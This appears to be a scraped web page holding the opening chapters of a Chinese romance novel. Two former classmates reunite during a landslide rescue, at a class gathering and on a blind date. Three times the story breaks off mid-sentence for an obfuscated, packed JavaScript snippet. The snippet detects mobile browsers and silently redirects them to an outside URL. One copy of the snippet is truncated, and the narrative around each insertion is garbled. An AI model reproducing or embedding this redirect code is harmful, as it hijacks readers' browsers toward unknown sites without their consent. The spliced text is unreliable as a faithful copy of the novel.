《我那哑巴似的初恋》 1. 事故 窗外的冻雨已经停了,但气温还是很低,光秃秃的树梢上悬挂着成片的银脆雾凇,一旦开窗,冷空气哪怕隔着衣服,都会贴着人身上碾过去。 今天正月十五,是谌一礼准备返程的第二天。 其实昨天就该走,但奈何下冻雨到处都在封路。好不容易等到国道能够通车放行,还偏偏碰见前方发生山体滑坡。 车已经在路上堵了一个小时。谌一礼在车上坐了太久,侧方的车载暖风将他整个人吹得昏沉。他摸了摸口袋里的烟,开门起身,准备下车透口气。 外面到底还是冷,他刚下车,风便蹭着人的脸刮过去。有大哥过来找谌一礼要了跟烟,两人站在一起说话。那大哥是今天赶着送孩子去开学报到的,也是不赶巧。 人群三三两两的凑在一起。听前面的人说,遇险的有四辆车,一辆被滑坡冲到了国道下的田埂里,还有三辆运气不好,直接埋了。 而距滑坡地点的前后方有好几辆车,在为了躲避滑坡的那一瞬造成了严重的追尾事故。 这车不知道要堵到什么时候。 两人站在一边时不时聊几句,不远处的人群却慢慢聚集起来。一位穿着蓝色应急救援服,戴着防风头套男人站在不远处。 他说话的声音散在风里:“有没有人愿意帮忙的,前面救人挖车,不强迫,自愿。” 男人话说的言简意赅。风声在人的耳边擦过。他的面罩外像是有一层水雾,或者说是冰晶,让他的整张脸都看不太清,只能看见那双眸子。 眸子很亮,标准的桃花眼。 谌一礼站在原地,对上男人的目光,彼此都愣了瞬。 “有工具吗?”站得近的一个大哥出声问了。 “有。” “那我去,”对方回答,“早点通路,早点回家。” 那人自顾自说了一句,随后又有三三两两的人同意跟着过去,谌一礼坠在了最末尾。 他们路过了这边的追尾地点。国道是双向单车道,越靠近山体滑坡的地段,车辆追尾就越严重。 汽车的燃油味、人群的哭喊声随着冬季的寒风一起往人的耳朵里挤。 道路被堵死,消防和医疗只能徒步进来,目前都忙着先给追尾的人员进行破拆和救助。 而重头戏,显然在被埋的那几辆车里。 “一共三辆,伤亡情况不清,我队员和消防都在那边,听他们指挥,挖吧。”对方一一分给他们铁锹,谌一礼排在最尾端也拿了一个。 只是跟别人不一样,男人递给他时多问了他一句,“冷不冷?” 谌一礼摇摇头,说:“没事。”他说到这里,又站在男人面前笑了笑,说了一句,“好久不见。” “好久不见。”路熙然回他。 只是眼下这情况,确实没时间给他们寒暄。大约四五十人,开始站在滑坡的泥泞里挖掘。这是力气活,都不知道埋得多深,也不知道里面人员情况如何。 谌一礼没做过这种事,挖着挖着,整个人的脚就陷入了泥里,脚上的鞋脏了,他就拔出来再接着挖,累了就喘两口气再继续。 路熙然站在他旁边见他动作笨拙,示范着教他:“重心放在铁锹上使劲,不要靠后脚撑着。” 他声音很低,话语都闷在了头套里。 谌一礼第一次没听清,等他说第二遍才反应过来,应了一声。 “你是做什么的?”一边有跟路熙然穿着同样救援队服的人跟谌一礼搭话,对方因为热,防风头套都没戴,看上去只有二十岁,很年轻。 那人冲着谌一礼笑,说:“就随便聊聊,不想说也没事。” “做点生意,你们是专业做救援的?”谌一礼问。 “不是,我们是民间救援,都有本职工作,我是学生,我哥是做纹身的。”对方说到这里,朝路熙然的方向努努嘴,“就那个带你们来的,那是我哥。” 谌一礼闻言看过去。路熙然刨挖的动作干净利落。大抵也是觉得热,他取了头套,将领口的拉链也往下拉了些,那张在谌一礼记忆中的脸就这样露了出来。 这么些年过去,路熙然没什么变化,那张脸依然眉眼深邃,棱角分明。如果硬要说跟记忆里有什么不同,那就是那人剃了个寸头。 看着挺酷。 身边那个年轻人见谌一礼看路熙然看得有点久,贼兮兮跟他道,“我哥是不是很帅?跟你有得一比。” 谌一礼失笑,他见对方一脸炫耀的表情,遗憾地告诉他,“我跟他认识,我们高中同学。” 对方有些惊讶,“那我应该也叫你一声哥,”他话到这里,挖了一铲子又问,“我叫路晏,你叫什么?” 谌一礼听着路晏的话,还没开口回答就听见了沉闷的喇叭声,断断续续,从他们侧方传来。 “别说了,快挖。”一边的路熙然冷着脸把头套塞进了口袋,动作加快了。 第一辆车是他们这边先挖出来的,车里一共三人,按喇叭的那个是丈夫,车后座坐着的是他的妻子跟不到三个月的孩子。 车辆框架已经严重变形,破损的车前架从丈夫的左肩贯穿而过,而遭受山体撞击的车架侧方一大半都压在了他妻子身上,她看见从泥土缝隙里挤进来的光亮,哭着求救。 她被埋了近两个小时,起初没反应过来,只靠本能的弯腰,护住自己的腹部和孩子,等再醒来时,孩子正在她怀里哭,而丈夫已经晕了。她动不了不能抬头,只能一边安慰孩子,一边叫丈夫的名字。 可被掩埋下的空间太小,缺氧,孩子没哭多久就没了声。她怕极了,在感觉到胸闷呼吸不畅时,实在无法,开始拿头去撞丈夫的座椅,沉闷的撞击声像是死神手里的秒表,她哑着声,一次又一次地喊着丈夫的名字。 绝望像是潮水一般袭来,几乎看不见光亮的地底,让她觉得自己会死在这儿。 直到丈夫清醒过来安慰她开始按喇叭,直到她看到救援人员。女人流着泪,一双眼睛通红,她透过他们挖来的缝隙窥见光亮,低声在喊:“救救我。” 所有人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189026|197039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动作都不自觉加快,丈夫在车座上双唇泛白,失血过多,而她的妻子身体出现明显骨折,两人都不能轻易挪动。 路熙然招呼着大家接着挖,自己拿了液压钳先把可以动的位置破拆后,优先将女人怀里的婴儿抱了出来。 母亲保护得很好,孩子没什么内外伤,但事故发生时,女人当时护得实在太紧,让婴儿整个面部被捂住,缺氧时间也有些久了,小脸已经有了明显的泛白迹象。 情况不对。路熙然跟其他救援队成员说了一声,把婴儿塞给了一边跟来的医护让他看看情况,自己将摩托车骑过来,准备带人去医院。 “救护车在最后面,车上有吸氧设备,先去吸氧。”跟来的医生说着,在戴好头盔跨上了路熙然的摩托车后将孩子护住,先用pvc简易呼吸器给孩子供氧。 路熙然闻言,没说什么,戴上头盔后,将摩托车点火。 发动机的轰鸣在这片救灾现场显得格外渺小,但谌一礼还是回头看了一眼,隔着头盔的防风罩,他们两人好像对视了,又好像没有。 但不知是不是谌一礼的错觉,在路熙然离开前,那人好像冲着他点了点头。 摩托车就这样压着雨后初霁的晨光远去了,在混乱的,夹杂着人群吵嚷的救援里,路熙然留给谌一礼的只有一抹背影。 这次相遇,好像只是个意外。 在第一辆车被挖出后,后续的两辆车也逐渐看到了框架,之后的救援不是谌一礼他们能插手的,作为热心群众人们便都陆陆续续回到了自己车上,只有还想看热闹的退到了稍远些的位置。 谌一礼是听别人说的,被埋的车里,有一个七八岁的孩子当场死亡,生命永远定格在了今年的正月十五。 国道的单条道路在傍晚时抢险通车,谌一礼靠着车窗玻璃,开始给家人一个个报平安。 哥哥和爷爷都知道他这次出来的行程,见他没回家,全都打了电话来问。 “我很好,真的,老爷子你该跳广场舞跳广场舞,该下棋下棋,”谌一礼说话声音疲惫,他刚目睹了现场事故,又听闻年幼的生命逝去,整个人都提不起力气。 “我能有什么事,就是刚帮忙救援,累了。” “我一个能救十个呢,别看不起我。” “晚上到家,还好我这次运气好,要不然没准我哥就要来挖我了。” 谌一礼强打精神跟老爷子贫嘴,可等挂了电话,他的思绪又空下来。 窗外,冬季的落日余晖将天空的蓝白渐渐晕染成了酱紫,远处高山延绵阴沉着的月开始露出端倪。 谌一礼望着那看不到边际的傍晚霞光,又想起了路熙然。 他跟他太久没见了,上次见面还是大一那年元旦聚餐,那人沉默着一言不发,只会坐在他身边给他碗里夹菜。 谌一礼想到这儿笑了笑,只当这次遇见不过一场意外。 可谁曾想,他跟路熙然不算没有缘分。 因为二月底,那个沉默少语的男人成了他的相亲对象。 2. 聚会 那天谌一礼刚下飞机在前往公司开会的路上。 天空阴匝匝的,铅笔色的云层一股脑地往下压。楚城越过了冻雨,迎来了倒春寒的侵袭,天气依旧很冷,出机场时刚呼出的热气,几乎下一秒就在空中凝结成雾。 谌一礼刚从南方回来,因为素来卡点赶飞机,身上的短袖没来得及换。 他像条鱼一样窜进了停在机场边的七座商务上。说是七座,实际上最多只能坐四个人,因为最后一排放着的都是谌一礼的衣服。风衣、长袖、西装、卫衣,应有尽有。 车后座一阵乱响,谌一礼脱了身上的夏衫,拿起后座放着的秋衣秋裤就往身上套。 助理赵晓云理忙着开车,对他的行为举止见怪不怪。 谌一礼排除工作之外,是标准的拖延症。不管在哪赶飞机,每每都能卡着停止登机那个时间通过检票,不太爱在住处换衣服,说是节省时间,实际上只是为了多睡一会儿。 就这事儿,说得好听一点,是他不拘小节。 说得不好听,他就是懒。 赵晓云实在太了解自己这位上司的性子,在等红灯的间隙还有空帮忙递给了谌一礼一条飞到车前座的深色领带。 等人衣服换好后,才开始汇报今明两天的工作内容。 谌一礼是做宣传方面工作的,在家族企业的高端连锁酒店里,最近家里的酒店业务想走下沉市场,他负责这块的推广和营销。 “大致就是以上这些,”赵晓云说到这里停下,目光透过行车后视镜观察谌一礼的表情,继续道,“然后就是下周二,老爷子给你安排了相亲。” 谌一礼头都没抬,他谈成了一场合作心情不错,忙着找不知道被他拾到哪个角落的平板,“这回又是谁介绍的?老年大学的赵大妈?还是跟老爷子跳舞的刘大婶?” 谌一礼说话语调上扬。 对相亲这事儿他向来不排斥,但不排斥不代表接受走入恋爱关系。应对老爷子,他素来阳奉阴违,见个面,吃个饭,然后打好腹稿回去说彼此不合适,再换来老爷子安排的下一次相亲。 如此循环,对此他轻车熟路。 只是这次这个问题,让赵晓云沉默了片刻后才给了他回答。 赵晓云说:“都不是,这次介绍人是你侄子,谌桐。” 谌桐,谌一礼的便宜侄子,在家无恶不作,正上初二的混世小魔王。 “他跑去人家店里说要纹身,被抓包是未成年后不敢联系家里,就联系的老爷子。”赵晓云说着,又补充了一句,“反正聊了几句,后来老爷子又去了几次,一来二去跟那人熟了,你小侄子在旁边多了句嘴,说觉得对方品行不错,想介绍给你。” “他乱牵红线,老爷子还答应了?”谌一礼无言。 赵晓云笑了下,“老爷子说,这次这个你一定喜欢。” 谌一礼挑了下眉,对此不置可否,仍旧垂眸滑动着手里的电子文件。 见没回复,赵晓云接着道:“对方是做纹身的。” 谌一礼没说话。 “副业是做应急救援。” 谌一礼滑动屏幕的手指一顿。 “长得很帅。” 谌一礼抬头隔着后视镜看向他。 “听说,还是你高中校友。” 赵晓云的话说到了这儿,将车稳稳地停在了地下车库的停车位上。他跟着谌一礼下车,站在那人身后等着下行电梯,问:“我这儿有照片,你要看看吗?” 谌一礼对此没回,他看着一边变换着的电梯楼层显示屏沉默良久,让赵晓云先上了楼。 “我去抽根烟。”谌一礼说着,转身走到不远处地下停车场边的垃圾箱旁,打火、点烟,动作一气呵成。 华实高中从后往前数十届,封顶十万人都不一定能找出这么一个。 所以这人,只能是路熙然。 他的高中校友、同班同桌,当年高考后约定在一起,结果却放了他鸽子的初恋对象。 谌一礼想到这儿,垂眸看着手里快要燃烧殆尽的烟,掐着烟头把东西按进了垃圾箱顶的石英砂里。 之后上楼工作,但在会议室里谌一礼的注意力并不集中,他坐在位置上,耳边听着员工的工作汇报,脑海里却浮现出一张人脸。 高鼻梁,桃花眼,笑起来的时候张扬得要命。 他想起那人靠在自己身上耍赖说把作业借他看看,又说过不了多久他要去美术集训,问自己会不会想他。 谌一礼记得,那天也是个阴天。 楚城入夏前的阴天,沉闷得像是把人包进了保鲜膜里。因为前不久隔壁班提前开空调导致大面积感冒,年级主任没收了所有班级的空调遥控器,说等立夏后再还回来。 第一节语文课后的课间,班上昏昏沉沉睡倒一片。那人坐在靠墙的位置,趴在桌上,百无聊赖地用着书页扇风,小半张脸透过胳膊肘的缝隙看过来,冲着谌一礼笑。 “我要去美术集训了,你要记得想我。” 谌一礼那时甩了他一个白眼,从乱七八糟的书洞里摸出一张数学卷子,说才懒得想他。 结果话音刚落对方就凑过来,用扇书页的手拉住了他的手腕。少年人的手心很热,书页随着那人的动作掉在地上发出一声细微的响。 路熙然仍旧趴在桌上,只是独独整个人小半张脸露了出来。在谌一礼记忆里的那双桃花眼弯起来,冲着他笑。 路熙然说:“你就想想我,好不好?” 思绪停在这儿,谌一礼手里握着的签字笔在会议桌上不轻不重地敲了两下。 会议结束后,他让赵晓云单独留了下来。 “谌总,怎么了?” “那相亲对象,他知道是我吗?”谌一礼看着赵晓云问了一句。 赵晓云不明就里,“什么?” 谌一礼:“就我那相亲对象,他知不知道是跟我相亲。” “知道,”赵晓云回答,可对上谌一礼的眼神后,又好像多了几分不确定的补充了一句,“应该知道,老爷子给他看过你照片,他说他认识你。” 谌一礼闻言,让人走了,转身又给自己点了根烟。会议室的窗户开了个小缝,吐出的烟圈在空气里摇曳飘散开后又消失。 放在一边一直没看的手机响了几声,是当初玩得好的几个建的高中群。 班里当年的“交际花”徐凯锐要结婚了,问有多少人在楚城,要不要这周末聚一聚,开汇广场五楼吃饭加唱歌,老地方,他出钱。 群里要去的人断断续续的在接龙扣1。 徐凯锐不知怎么的艾特了他。 徐凯锐:[@谌一礼 班长,你也来呗,太久没见了,想你想你(飞吻)(飞吻)] 跟徐凯锐玩得不错的汪淼在群里拆他的台:[我看你不是想班长,是想让人给你订的婚宴费用打折。] 对此徐凯锐大大方方承认:[要不怎么说还是你了解我(娇羞)再说人班长家就是开酒店的,我支持班长家生意,我是个大好人!!!] 群里那两人插科打诨,消息刷得飞快。 谌一礼没回,他点开了徐凯锐的私聊框,手机拿在手里打字。 [酒店订的分店还是总店,哪个厅,什么时间?我跟下面人说一声,给你打七折。我最近工作太忙,聚会就不……] 最后的字还没打完,谌一礼就看见微信消息框又跳了一条出来。还是那个群,只是说话的不是汪淼,也不是徐凯锐。 路熙然:[1] 谌一礼没动了,他注视着输入框里仍旧闪烁的光标,指尖在输入法的删除键上来来回回。 身后有人在叫他,赵晓云去而复返。 “谌总,今年的北边落地项目的合作方来了。” “知道了,马上过去。” 谌一礼应声把手机收进了口袋,一直到下班前都没时间再看。 等晚上到家躺在床上时,已经九点了。 高中群消息的最后一条停留在下午五点,是徐凯锐发的,问路熙然有没有时间出来喝酒。 路熙然没回,可能跟人私聊去了。谌一礼不知道。 他通过群聊点开了路熙然的微信名片,目光注视着最下面那一句[你已将对方拉入黑名单] ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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但直到聚会结束,路熙然都没开口,他跟徐凯锐说自己要先走,说他最近很忙,忙着赚钱。 于是那天两人分开。而在元旦即将返校的高铁站里,谌一礼不死心地给路熙然发了条消息。 他也是骄傲的人,没有做舔狗的天分,也不会追逐一份得不到回应的感情。 他只给路熙然发了两个字。 [算了?] 这一句话,没有开头,没有结尾。而聊天页面再往上,一串都是谌一礼单方面给路熙然发的绿色气泡框,有长有短,而那人只零星回了几条。 就在谌一礼认为,这条消息可能不会有回复时,路熙然却给了他回答。 只有两个字,像是复制粘贴。 路熙然说:[算了。] [好。] 两人都没说什么算了,没说算什么,可彼此都心知肚明。 那[算了]两个字前,有一个主语,那主语是我们。 [我们算了?] [我们算了。] [好。] 那天,楚城下了新一年的初雪,谌一礼站在高铁站里,看着远方随着飞驰而过的列车飘动着的雪籽,在深吸一口气后,把路熙然拖入了黑名单。 只是偶尔少时,他会从徐凯锐嘴里听到路熙然的消息。 做了纹身师、参加了应急救援队,他弟弟考上了楚城的大学,父亲在火灾后瘫痪在床,直到去年去世。 零零散散的回忆中,参杂着那天在冻雨后的会面。 男人骑着摩托离去的背影夹杂着一月的严寒往他的心里挤。 好像多多少少是有那么一点不甘心。 谌一礼手里拿着手机,指腹重新点回了那个群聊消息里,只是那个[1]还没发出去,就见又有新消息进来。 是徐凯锐。 那人说:[班长,我跟朋友在一起喝酒。有人托我问问,周末的聚会你会来的吧?] 谌一礼看着消息,敛眸,打字。他没问朋友是谁,也没问有人是谁。 他始终是个终于自我的人,不拧巴,懒纠结。 他敲敲了敲键盘,抬手给了徐凯锐回复,也给了那个“有人”回复。 他说:“我会去的。” “徐凯锐,新婚快乐。” 3. 见面 谌一礼说是去,但实际上还是等第二场才到。 临时有个南方的合作方过来,谌一礼躲不了,穿着一身西装外套跟人吃了顿饭后,躲进自己的那辆七座商务车里开始换衣服,顺便让赵晓云先下班。 “不用我来接?”赵晓云问他。 “不用,我自己叫车过去,”谌一礼冲着他笑,又道,“车后座我衣服堆里应该有给你的生日礼物,你找找,我先走了。” 他说完开门下车,步调慢悠悠的,脸上挂着笑。 他穿了件棕色的皮夹克,里面配了件白色的低领毛衣,黑色的工装裤恰到好处的修饰着腿型,脚上踩着一双马丁靴,出去玩说是大学生都有人信。 谌一礼进KTV前没忍住借着直达电梯里的镜子看了自己一眼。 别说,挺装得,装得他自己都想笑。 但说到底他为什么装,谌一礼自己心里清楚,懒得藏着掖着,没那个必要。 开汇广场KTV在五楼,徐凯锐早把包厢信息扔在了群里。这地儿谌一礼来过很多次,以前高中、现在成人,几乎年年聚会,只要唱歌都在这儿,因为隔音好,哪怕再鬼哭狼嚎,外面都听不到。 他轻车熟路地进了包厢,然后不出所料地被他们打趣了。 “操,太装了吧班长,穿成这样,打击人呢?”徐凯锐说。 谌一礼:“我穿成那样儿了?” “真要我说?”徐凯锐笑骂,眼神上下打趣了他两眼,拿了个话筒凑到谌一礼旁边,问,“你几岁了?” 谌一礼跟着他笑,装傻,“我几岁了跟我这身有什么关系?” “他说你装嫩呢,”一边的汪淼接话,话说完却又补了一句刀,“不过我觉得不仅装嫩,还挺骚。” 至此几人凑在一起嘻嘻哈哈地笑,末了谁也没放过谁,一个说一个头快秃了,一个说另一个有了小肚子,小心被老婆嫌弃。 唯一没被人身攻击的是谌一礼,他那张脸这么些年过去没秃没胖,那是真帅。 这次聚会以徐凯锐“交际花”的身份,其实来的人不少,群里一共就十二个,到了七个,这出席率可以了。 只是谌一礼想见的人没来。 “路熙然有事,等会儿到,”徐凯锐看着谌一礼到处看的模样告诉他,“第一轮吃饭,他本来说来,但救援队临时有个任务,说是有驴友出去爬山,一天一夜了没联系到人,去找了。” “行。”谌一礼拿着放在桌上的啤酒跟徐凯锐碰了个杯,不扭捏也不拧巴,他大大方方的承认自己在找路熙然,倒是让徐凯锐挑了下眉。 徐凯锐来了兴趣,“怎么你前几年聚会不来,这次是专程的?” “那是在国外呢,后来是工作忙,”谌一礼冲着他笑,多的话不说,恰到好处的迂回婉转换了话题,从口袋里掏出红包,“这次这不是你要结婚吗?我来随个分子,再给你订的酒店打个折。” 徐凯锐立马来了精神,连红包都没接,“几折?” “七折。”“你是我亲爹!”徐凯锐狂喜,就差跪下叩谢圣恩,不过末了这人看着谌一礼递过来的礼金没要,跟他商量,“你钱我就不收了,你要是到时候有空,来给我当伴郎呗,我身边没几个帅的。” 对此谌一礼没回,旁边有个人接话,凑过来打趣,“你请他当伴郎,也不怕把你风头抢了。” “你一边去,”徐凯锐把那人推开,又跟谌一礼说,“路熙然也来,他说他有空,你看你时间呗?要是没空,提前半个月……,一周、一周跟我说一声,我再找人。” 谌一礼闻言,他垂眸看着徐凯锐递来的酒杯,眼神跟那人对视了一秒。 他知道徐凯锐的意思。作为当年隐约察觉到他跟路熙然关系的同龄人,徐凯锐虽然嘴上不说,但情商总是高的,这些年暗戳戳传消息的事儿没少干。 也不差这一件。 “行。”谌一礼应下,拿酒杯跟他碰了下,把红包收回来。 他承徐凯锐这份情,到底是这么些年兄弟。 一边的汪淼刚好在这时唱完一首情歌,他坐在卡座上拿着手机对着屏幕上的二维码扫了一下。 “班长唱不唱?我帮你点。”汪淼爱热闹,都是几个闹腾的,自然谁也没放过一首歌都没唱的谌一礼。 不知道是谁提了一嘴谌一礼高二那年在学校校园歌手比赛上大杀四方,叽叽喳喳的在感慨年华逝去,抒发矫情的同时,直接一连给谌一礼点了五首歌上去。 谌一礼哭笑不得,心想唱就唱吧,结果人刚拿到话筒就被他们推耸着站起来,非要他走到前面去。 口哨声、欢呼声,连带着放在一边的手摇铃他们都没放过,谌一礼的名字就这样被喧闹声捧上去又落下来。同学们拿歌星的名头打趣他,他也不恼,只笑,随他们折腾,然后大大方方走到众人面前。 或许不仅仅是样貌,这么些年过去,谌一礼始终还是那个谌一礼,和当年校园歌手大赛上的新星没什么两样。 路熙然进来时,看见的就是这一幕。 谌一礼站在屏幕前,他的那件皮夹克已经脱了,霓虹灯的颜色染上了他的毛衣和侧脸,他站在那里唱着首情歌,听见开门的动静回头,侧过身看过来。 两人自从那次元旦之后再未见过,视线相撞的一瞬间,彼此都像是恍惚了片刻,谌一礼嘴里的歌词掉了半句,路熙然则呆呆地伫在那里。 心跳随着音乐鼓动着,有什么呼之欲出的言语从目光流露出来,却随着下句歌词伴奏的出现,一切回归平静。 直到谌一礼先点了点头,而路熙然也冲着对方笑了下。 没时间给他们说话,屏幕里的音乐仍旧在继续,徐凯锐招呼着路熙然坐下,给他递了杯酒。 “跑来的?你这呼吸声听着都喘。”徐凯锐说。 “嗯,直达电梯卡在负一了。”路熙然看着前面唱着歌的谌一礼答道。 徐凯锐继续说:“第一次听他唱歌吧?我记得他参加校园歌手那年,你去美术集训了。” “对,第一次听现场。”路熙然说着,眼神都没徐凯锐一个。 深棕色的瞳孔笔笔直地看向前方唱歌的那人。谌一礼站在那儿,在歌曲间奏时朝着台下要掌声,要他们跟自己一起合唱,偶尔眼神也会不轻不重地落在路熙然身上。 像是猫爪的软垫,不轻不重地挨你一下。 这是路熙然第一次好好听谌一礼唱歌,之前都是看的录像,徐凯锐帮忙录的。那时候高中,离舞台太远,看不清,只能听个声儿。 这次不一样,谌一礼切了首快歌,唱得张扬又热烈。路熙然坐在台下想,如果给那人一个架子鼓,他能把鼓面给敲烂了。 五首歌结束,几个听众的欢呼声没停,叫嚷着让谌一礼再来几首。 谌一礼冲着他们一边笑一边摆手:“不了不了,歌星唱歌是要收费的,让你们听听就知足吧,再唱就要给我出场费了。” 这话说得臭屁又欠打。 于是这一趴就这么过去,唱歌的换成了别人,谌一礼回到卡座直接坐在了路熙然旁边。 “迷路的驴友找回来了?”谌一礼问他。 “找回来了,在半山腰迷了路,手机没电了,人没事。”路熙然回他。 两人之间只来得及说了这么两句,刚想再聊点别的,就听在一旁的汪淼插了句嘴。 “班长,刚你电话响了几次,好像挺急的,你要不去回一个?” 谌一礼闻言,接过自己手机看了眼,在看见来电人显示时,跟他们说了句:“我去打个电话。” 谌一礼说完,拿上外套出去,不一会儿却又进来,跟徐凯锐打了声招呼说要提前走。 “怎么?出什么事了?”徐凯锐问他。 “我一朋友有点麻烦,我去看看。”谌一礼说着,末了视线在路熙然身上扫了下,“下次见。” “我送你吧。”路熙然说,“我开车来的。” 谌一礼对此没回,他的目光看向包厢茶几上刚被路熙然放下的酒。 路熙然了然地改口:“我陪你去,给你叫个代驾。” “不用了,”谌一礼笑了笑,想起前不久赵晓云跟他提及的相亲,“还有机会再见的,走了。” 谌一礼说完给自己倒了杯酒,提了一杯,敬在座许久不见的朋友,在他们一声声“歌星”下次再来的起哄声中离开了。 谌一礼走后,路熙然没多呆。他跟高中时不一样,现在话少了很多,虽然性子还是很热络,跟谁都能说上两句话,谁找他帮忙他都会帮,但整个人到底变沉闷了些。 况且他不唱歌。他唱歌跑调,能从南半球一路赶马狂奔到去看北极熊,在眼下这种场合,他只适合做个听众。 而如今,他想见的那人走了,他自然也没了留下的理由。 在又坐了一个小时,跟徐凯锐打了声招呼后,路熙然起身准备走,只是离开前徐凯锐塞给了他两个东西。 是一款打火机跟一包烟。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189028|197039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 徐凯锐:“我之前问过了,是谌一礼刚唱歌脱外套时掉出来的,我跟他说过了,麻烦你带给他。” 路熙然看着那打火机跟烟,想到周二晚跟谌一礼的见面,敛眸应下,说了声好。 - 转眼到了周二,那天的相亲地点是老爷子订的。 他老人家生活充实,天天忙着喝茶、下棋,参加他的老年大学课程,这次的相亲却格外重视。 周二中午就给谌一礼打了电话,给了他地址,点名让他注意着装不要迟到。那时谌一礼忙着工作敷衍着应了,谁知道到了下班点,他又打了一通电话过来。 “穿好看点,别卡点到,也别让人等太久。”老爷子在电话那边再三嘱咐。 谌一礼无言,他接着电话走在地下车库,应道:“知道了知道了,我去了之后跟你汇报好不好?还是说你要跟我一起去相亲?” “我一个老头去干嘛,你要是看上对方了就跟我说,这次这个我听赵晓云说,你连人照片都不看看,我要是不盯着你,我怕你放人鸽子。”老爷子隔着电话嗔怪。 “那哪能啊,我们南城街道广场舞领队谌大方,你给我组的局,我怎么敢放人鸽子。”他说着走到了他那辆七座商务边,“挂了啊,我换个衣服,到位置给你发消息,行不?” 谌大方:“那你穿好看点,别带赵晓云,也不许先离席,我找人盯着呢。” 老爷子最后那句话谌一礼没往心里去,他不在意老爷子找的谁,也没时间关心。 他在车后座上翻翻找找换了身休闲装。 倒春寒仍在楚城盘桓着,只剩点尾声。谌一礼脱了身上的西装外套和裤子,换了件呢子大衣跟阔腿裤。 他让赵晓云提前走了,今天他准备自己开辆轿车过去。 他没过分打扮自己,也不想太讲究。毕竟之前见面是见面,相亲是相亲,这个态度,谌一礼还是会把握的。 可等开车绕出地库时,他还是没忍住撇了眼后视镜。 不错,还行,挺帅的。谌一礼自己给自己做了个总结,嘴角噙着抹笑。 这次相亲地点是老爷子订的,选的是他老人家素来最看不上眼的西餐厅。 当侍者引着谌一礼到位置上时,路熙然已经到了。 跟没怎么打扮的谌一礼不同,路熙然一看就好好拾掇过。 穿着一身工装夹克配工装裤,头发应该是特地剪过,起码周末谌一礼见他时,那人的头发还有点显长,这回剪得短了些,但发型没变,还是寸头。 很帅,也很酷,只是香水不符合气质,是栀子花味。 强烈反差。 “喷香水了?”谌一礼坐下时冲着他笑了笑。 路熙然回道:“是,我一直用这个,习惯了。” 两人话说到这儿,没再往下继续。双方先商量着点了餐,然后便安静下来,好像谁也没有先开口说话的想法。 于谌一礼而言,他是在等待,等待对方什么时候提起过去自己被放的鸽子。 而于路熙然来说,他不知道说什么。他顶着谌一礼的目光,战术性地喝了几口水,绞尽脑汁找了个话题出来。 他说:“要是早知道是在这儿吃饭,我起码应该穿个西装外套过来。” 谌一礼眉眼微弯,目光滑过他喝水时露出的手腕。当年看见得肉色疤痕,已经被纹身取代,像是晕染的水墨覆盖在皮肤上,弯弯曲曲地往袖口里延伸。 他没接路熙然的那句话,反问道:“怎么去做纹身了?” “混口饭吃。” “做应急救援呢?” “想让别人别像我一样,少遭点罪。” 路熙然说到这里,没点破高考前的那场火灾。 他好像有一种避重就轻的本事,越过那场事故,也好像理所当然地越过了那年他放谌一礼的鸽子和对他的躲藏。 于是有些话只能谌一礼自己说,“为什么没复读?” 路熙然顿了顿,说:“你知道,我学美术的,文化课本来就不好,再来一年,没钱再学画画,怕联考考不好,也怕文化课更差,而且家里需要钱,没办法。” “有后悔吗?”谌一礼接着问。 路熙然嘴里微微勾起,摇摇头,“不后悔。” “那对我呢?”谌一礼抬起头目光撞向路熙然的眸子,他在那双瞳孔里,瞥见了惊异,同样也看见了躲藏,但他仍旧把话补了个全。 他说:“路熙然,当年躲着我,有后悔吗?” 4. 分别 短短几句话,像是推耸着路熙然站在了悬崖边。那人的眼神下意识地错开了谌一礼的视线,哑然的嗓子说不出一句话。 好在这时侍者开始上餐,谌一礼低头看着摆在自己面前的餐食,拿起了刀叉。他声音很淡,在窥探到路熙然表情时,他好像就读出了答案。 谌一礼:“先吃饭吧。” 可路熙然没动,他听着耳边餐厅的背景音,不知道从哪里找回的嗓音。他重新抬头看向谌一礼,他说:“我不后悔。”末了像是需要什么肯定,他又将这句话重复了一遍,“我不后悔。” 谌一礼失笑,他知道,这个话题说到这里可以结束了。 答案本身代表了态度,他察觉到了路熙然的回避,也便没了底气再去开口提及过往。 路熙然显然也不想再谈这个,他适时的换了话题,聊起了别的。 “这些年,你近况,我大多听徐凯锐讲过。大学、留学、回国和工作,你知道他的,大喇叭。” 谌一礼挑眉:“那关于我感情方面,他也知道?” 路熙然愣了愣,他错开谌一礼的视线,老老实实回答道:“不。” 谌一礼看着一边侍者倒入酒杯的红酒,笑了笑,“大学留学时候谈过一个,他是瑞士的,在一起不到一个星期,不合适,分了。” 他话音落到这儿,看了路熙然一眼,“你呢?” “我没找过,工作忙,照顾弟弟也照顾我爸。”路熙然说着,他没刨根问底问谌一礼为什么跟对方分手,也没那个资格。 “十八岁我家刚出事那会儿,我爸的一个朋友搭了把手,他是个纹身师,我跟他学的纹身。后来参加的应急培训多了,有救援队联系我,我就加入了一个。”路熙然喝了点酒,他抬眸看向谌一礼。 谌一礼跟他记忆里其实很不一样,那人成熟了,也稳重了。 